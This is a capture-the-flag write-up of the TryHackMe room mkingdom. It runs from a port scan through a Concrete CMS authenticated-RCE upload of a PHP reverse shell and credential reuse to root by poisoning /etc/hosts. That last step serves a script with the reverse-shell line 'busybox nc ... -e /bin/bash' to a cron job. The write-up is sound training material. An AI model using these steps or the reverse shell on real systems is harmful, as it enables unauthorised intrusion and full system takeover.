# mKingdom

{% embed url="<https://tryhackme.com/r/room/mkingdom>" %}

The following post by 0xb0b is licensed under [CC BY 4.0<img src="https://mirrors.creativecommons.org/presskit/icons/cc.svg?ref=chooser-v1" alt="" data-size="line"><img src="https://mirrors.creativecommons.org/presskit/icons/by.svg?ref=chooser-v1" alt="" data-size="line">](http://creativecommons.org/licenses/by/4.0/?ref=chooser-v1)

***

## Recon

We start with a Nmap scan and find only one open port, 85. We are dealing with an Apache httpd 2.4.7web server. The title suggests defacing has happened.

```bash
╭─xb0b@parrot ~/Documents/tryhackme/mkingdom 
╰─➤  $ nmap -p- mkingdom.thm -T4           
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-06-15 10:21 CEST
Nmap scan report for mkingdom.thm (10.10.10.52)
Host is up (0.050s latency).
Not shown: 65534 closed tcp ports (conn-refused)
PORT   STATE SERVICE
85/tcp open  mit-ml-dev

Nmap done: 1 IP address (1 host up) scanned in 14.02 seconds
╭─xb0b@parrot ~/Documents/tryhackme/mkingdom 
╰─➤  $ nmap -sC -sV -p 85 mkingdom.thm -T4
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-06-15 10:22 CEST
Nmap scan report for mkingdom.thm (10.10.10.52)
Host is up (0.039s latency).

PORT   STATE SERVICE VERSION
85/tcp open  http    Apache httpd 2.4.7 ((Ubuntu))
|_http-server-header: Apache/2.4.7 (Ubuntu)
|_http-title: 0H N0! PWN3D 4G4IN

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 7.84 seconds
```

On the index page, we are greeted with a picture of a very well-known villain.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FmE1EisxzkObsa5TbL13X%2Fimage.png?alt=media&#x26;token=afc1e868-35fa-4488-8ed7-2e81f760add6" alt=""><figcaption></figcaption></figure>

We enumerate the pages, level by level, with Gobuster. Meanwhile, we look at the image with exiftool and `https://www.aperisolve.com/`, maybe we discover something hidden. Except for a set author name, we do not find anything else of relevance.

```bash
╭─xb0b@parrot ~/Documents/tryhackme/mkingdom 
╰─➤  $ gobuster dir -u http://mkingdom.thm:85/ -w /usr/share/wordlists/dirb/big.txt
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://mkingdom.thm:85/
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/wordlists/dirb/big.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.6
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/.htpasswd            (Status: 403) [Size: 288]
/.htaccess            (Status: 403) [Size: 288]
/app                  (Status: 301) [Size: 312] [--> http://mkingdom.thm:85/app/]
/server-status        (Status: 403) [Size: 292]
Progress: 20469 / 20470 (100.00%)
===============================================================
Finished
===============================================================
```

Manually and with Gobuster we reach a blog at endpoint `/app/castle`.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2F1mtGp3x0M1v71tuHbOMH%2Fimage.png?alt=media&#x26;token=f228fc0f-5970-4051-8484-3fdc4d4ec082" alt=""><figcaption></figcaption></figure>

There is only one blog post.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2F8vW73dgqv9z9O5Jubxc2%2Fimage.png?alt=media&#x26;token=07786663-1b84-4121-8468-60be8b226de8" alt=""><figcaption></figcaption></figure>

But this one reveals us a potential username we might need later.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FE4fKRit7ibtPugV4bOo9%2Fimage.png?alt=media&#x26;token=106333f1-fbe4-463c-a3f9-f634e01987fc" alt=""><figcaption></figcaption></figure>

We see that the CMS concrete is being used. In the source, we also find the version used: `8.5.2`. This is vulnerable to authenticated remote code execution.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FsVZB1jTUxJ8n2oY3AVuG%2Fimage.png?alt=media&#x26;token=de415560-ea0f-4391-8509-b81d01fb0f42" alt=""><figcaption></figcaption></figure>

This vulnerability is explained step-by-step in the following post. The requirement here is to be in possession of admin credentials, as this allows you to remove the upload restrictions by adding file types and then uploading and triggering a PHP reverse shell.

{% embed url="<https://vulners.com/hackerone/H1:768322>" %}

## Shell as www-data

We know about the possible entry point through authenticated RCE, but still need credentials. Here, the defaced page was my first dead end, because I thought that the picture was deliberately placed here for stego, but this is not the case.

We can log in with the username admin and a very well-known insecure password that starts with `p`.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2F2CWohv7cXRaqdr8yh8R5%2Fimage.png?alt=media&#x26;token=62548d86-698c-434a-8640-f7c649269e29" alt=""><figcaption></figcaption></figure>

We are able to log in and have the admin dashboard available.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FUlB3UGivYiuunbmjqQv5%2Fimage.png?alt=media&#x26;token=aeedb22f-58f3-4011-a269-9c1459a7f44e" alt=""><figcaption></figcaption></figure>

Next, we follow the steps described in the article below:

{% embed url="<https://vulners.com/hackerone/H1:768322>" %}

Select `System & Settings`, then `Allowed File Type`.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FKhZngY55uu7lcvMqDhvH%2Fimage.png?alt=media&#x26;token=e50056dd-f7b5-4339-bb38-6af2ba98ceb1" alt=""><figcaption></figcaption></figure>

Next, add `php`, separated by a comma, and save the changes.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FehNIXpjU2wd2ulYYNEhq%2Fimage.png?alt=media&#x26;token=545ae8a6-1fad-43f7-b23c-39fd9ce56d3b" alt=""><figcaption></figcaption></figure>

Now we create a PHP reverse sell on `revshells.com`, selecting the `PHP Pentest Monkey.`

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FGLUTxOUxtwBZiLeFeVNo%2Fimage.png?alt=media&#x26;token=00989c8c-f881-4d2c-9b7e-5dd1a4eed089" alt=""><figcaption></figcaption></figure>

To upload files, we simply drag them into the `File Manager` at `/app/castle/dashboard/files/search`⁣⁣. We get the URL to access the file. Before we do that, we set up a listener on our chosen port.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FGyPtpl2bPwjM1XO8tR7Q%2Fimage.png?alt=media&#x26;token=832dba91-6418-4cc3-b45c-db3019ebe56d" alt=""><figcaption></figcaption></figure>

Next, we dial up the link presented.

```
http://mkingdom.thm:85/app/castle/application/files/4317/1844/7012/monkey.php
```

We get a connection from our reverse shell as `www-data`. Unfortunately, we won't find the user flag here. We have to move laterally. By inspection `/etc/passwd` we find two users, `toad` and `mario`.<br>

```bash
╭─xb0b@parrot ~/Documents/tryhackme/mkingdom 
╰─➤  $ nc -lnvp 4445                                                                                                               1 ↵
listening on [any] 4445 ...
connect to [10.8.211.1] from (UNKNOWN) [10.10.71.227] 58970
Linux mkingdom.thm 4.4.0-148-generic #174~14.04.1-Ubuntu SMP Thu May 9 08:17:37 UTC 2019 x86_64 x86_64 x86_64 GNU/Linux
 06:24:18 up  1:28,  0 users,  load average: 0.01, 0.02, 0.00
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data),1003(web)
bash: cannot set terminal process group (1369): Inappropriate ioctl for device
bash: no job control in this shell
www-data@mkingdom:/$ whoami
whoami
www-data
www-data@mkingdom:/$ 
```

## Shell as toad

We run `linpeas.sh` and find `cat` as a SUID binary that is owned by user `toad`. So, in that case, by running cat as another user, that binary gets executed as user `toad`. That might give us some restrictions if we want to read files as another user.

```bash
══════════════════════╣ Files with Interesting Permissions ╠══════════════════════
                      ╚════════════════════════════════════╝
╔══════════╣ SUID - Check easy privesc, exploits and write perms
╚ https://book.hacktricks.xyz/linux-hardening/privilege-escalation#sudo-and-suid
-rwsr-xr-x 1 toad root 47K Mar 10  2016 /bin/cat
-rwsr-xr-x 1 root root 68K Nov 23  2016 /bin/umount  --->  BSD/Linux(08-1996)
```

MySQL is running internally. Maybe we can retrieve some credentials from the web app.

```bash
www-data@mkingdom:/tmp$ netstat -tulnp
(Not all processes could be identified, non-owned process info
 will not be shown, you would have to be root to see it all.)
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address           Foreign Address         State       PID/Program name
tcp        0      0 127.0.0.1:3306          0.0.0.0:*               LISTEN      -               
tcp        0      0 127.0.0.1:631           0.0.0.0:*               LISTEN      -               
tcp6       0      0 :::85                   :::*                    LISTEN      -               
tcp6       0      0 ::1:631                 :::*                    LISTEN      -               
udp        0      0 0.0.0.0:5353            0.0.0.0:*                           -               
udp        0      0 0.0.0.0:46891           0.0.0.0:*                           -               
udp        0      0 0.0.0.0:68              0.0.0.0:*                           -               
udp        0      0 0.0.0.0:631             0.0.0.0:*                           -               
udp        0      0 0.0.0.0:39553           0.0.0.0:*                           -               
udp6       0      0 :::5353                 :::*                                -               
udp6       0      0 :::43424                :::*                                -               
udp6       0      0 :::45129                :::*                                -               
www-data@mkingdom:/tmp$ 
```

By checking out the config files, we can find the database credentials. We could now look up the database, but we won't find any new users. Instead, we could check if the credentials were being reused.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FmkQIgEBi8Q3Rv4boiSYj%2Fimage.png?alt=media&#x26;token=9312713b-f6fc-4e9f-81a9-aeb30aa39ef5" alt=""><figcaption></figcaption></figure>

First, if this has not already happened, we need to upgrade our revers shell to have it more interactively and be able to switch users.

{% embed url="<https://0xffsec.com/handbook/shells/full-tty/>" %}

```
python3 -c 'import pty; pty.spawn("/bin/bash")'
```

```
CTRL+Z
```

```
stty raw -echo && fg
```

We paste the database credentials for `toad` and are able to switch users, but this user has no flag.

```bash
www-data@mkingdom:/var/www/html/app/castle/application/config$ su toad
Password: 
toad@mkingdom:/var/www/html/app/castle/application/config$ id
uid=1002(toad) gid=1002(toad) groups=1002(toad)
toad@mkingdom:/var/www/html/app/castle/application/config$ 
```

## Shell as mario

Let's try to switch to user `mario`. While enumerating the target manually, we find a strange password token in the `env` variable encoded in base 64.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2Fgfiwm0a6U3YF5GukbYiE%2Fimage.png?alt=media&#x26;token=2c0e9c76-e6ae-46fd-811b-f9670b49ba78" alt=""><figcaption></figcaption></figure>

We use CyberChef to decode it...

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FsFjzZxLg0snDbJpbGffK%2Fimage.png?alt=media&#x26;token=5efd71b8-cec5-4e62-895f-75e4c4f1fe0a" alt=""><figcaption></figcaption></figure>

... And switch users to `mario`. This is the password for `mario`.

```bash
toad@mkingdom:/tmp$ su mario
Password: 
mario@mkingdom:/tmp$ cd /home/mario/
mario@mkingdom:~$ ls
Desktop    Downloads  Pictures  Templates  Videos
Documents  Music      Public    user.txt
```

Here we find the first flag, and we can't read the flag, because of the SUID bit set. We look for another copy of cat on the machine and find one at `/usr/lib/klibc/cat`, With that, we can read the last flag.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FgA3RFdwimkxmxHfrMrrM%2Fimage.png?alt=media&#x26;token=a401748b-4e04-49df-8182-cbd4346b6076" alt=""><figcaption></figcaption></figure>

## Shell as root

If this has not already happened, we upload and run pspy64 on the machine to discover processes running in the background.

```bash
mario@mkingdom:~$ wget http://10.8.211.1/pspy64
--2024-06-15 06:57:20--  http://10.8.211.1/pspy64
Connecting to 10.8.211.1:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 3104768 (3.0M) [application/octet-stream]
Saving to: ‘pspy64’

100%[======================================>] 3,104,768   2.07MB/s   in 1.4s   

2024-06-15 06:57:22 (2.07 MB/s) - ‘pspy64’ saved [3104768/3104768]

mario@mkingdom:~$ chmod +x pspy64 
mario@mkingdom:~$ ./pspy64 
```

Here we find a cronjob that uses cURL to download a script at `mkingdom.thm` and execute it. If we are somehow able to write to `/etc/host`, we can easily supply the machine with a malicious script that executes a reverse shell for us.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FZMTJ5sRsSRKRR6gcFUoA%2Fimage.png?alt=media&#x26;token=b228fa85-06f4-4623-8b12-5cc46e460c49" alt=""><figcaption></figcaption></figure>

Again, we use `revshells.com` to generate a reverse shell. This time using BusyBox.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2F9rMJff3pwcpLjweulqf0%2Fimage.png?alt=media&#x26;token=11cce7ff-41bb-4feb-8b31-227aa69a059f" alt=""><figcaption></figcaption></figure>

We see we are able to write to `/etc/hosts` as mario.

```bash
mario@mkingdom:/var/www/html/app/castle/application$ ls -lah /etc/hosts
-rw-rw-r-- 1 root mario 342 Jan 26 19:53 /etc/hosts
mario@mkingdom:/var/www/html/app/castle/application$
```

With nano or vi we can update the `/etc/hosts` and replace the existing IP for `mkingdom.thm` with our own IP address.

```bash
mario@mkingdom:/var/www/html/app/castle/application$ nano /etc/hosts
Error opening terminal: unknown.
mario@mkingdom:/var/www/html/app/castle/application$ export TERM="xterm"
mario@mkingdom:/var/www/html/app/castle/application$ nano /etc/hosts
mario@mkingdom:/var/www/html/app/castle/application$ cat /etc/hosts
127.0.0.1	localhost
10.8.211.1	mkingdom.thm
127.0.0.1	backgroundimages.concrete5.org
127.0.0.1       www.concrete5.org
127.0.0.1       newsflow.concrete5.org

# The following lines are desirable for IPv6 capable hosts
::1     ip6-localhost ip6-loopback
fe00::0 ip6-localnet
ff00::0 ip6-mcastprefix
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters
```

Next, we create the folder structure, create the script, place it in the correct location, and set up a web server on port 85 using Python. Besides this, a listener is running on our desired port.

```bash
╭─xb0b@parrot ~/Documents/tryhackme/mkingdom 
╰─➤  $ mkdir app     
╭─xb0b@parrot ~/Documents/tryhackme/mkingdom 
╰─➤  $ mkdir app/castle
╭─xb0b@parrot ~/Documents/tryhackme/mkingdom 
╰─➤  $ mkdir app/castle/application
╭─xb0b@parrot ~/Documents/tryhackme/mkingdom 
╰─➤  $ nano counter.sh
╭─xb0b@parrot ~/Documents/tryhackme/mkingdom 
╰─➤  $ cat counter.sh  
busybox nc 10.8.211.1 4446 -e /bin/bash            
╭─xb0b@parrot ~/Documents/tryhackme/mkingdom 
╰─➤  $ mv counter.sh app/castle/application/counter.sh
╭─xb0b@parrot ~/Documents/tryhackme/mkingdom 
╰─➤  $ sudo python -m http.server 85
Serving HTTP on 0.0.0.0 port 85 (http://0.0.0.0:85/) ...
```

After a short duration, the script gets downloaded...

```bash
╭─xb0b@parrot ~/Documents/tryhackme/mkingdom 
╰─➤  $ sudo python -m http.server 85                  
Serving HTTP on 0.0.0.0 port 85 (http://0.0.0.0:85/) ...
10.10.71.227 - - [15/Jun/2024 13:17:01] "GET /app/castle/application/counter.sh HTTP/1.1" 200 -

```

... And executed. We get a reverse shell connection back as root. We can read the flag in the home directory of root using `/usr/lib/klibc/bin/cat`.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2F4Npawx2wozq5Fr0z8WL9%2Fimage.png?alt=media&#x26;token=e1b50fad-2798-4047-bf89-ab6dc66b11f1" alt=""><figcaption></figcaption></figure>
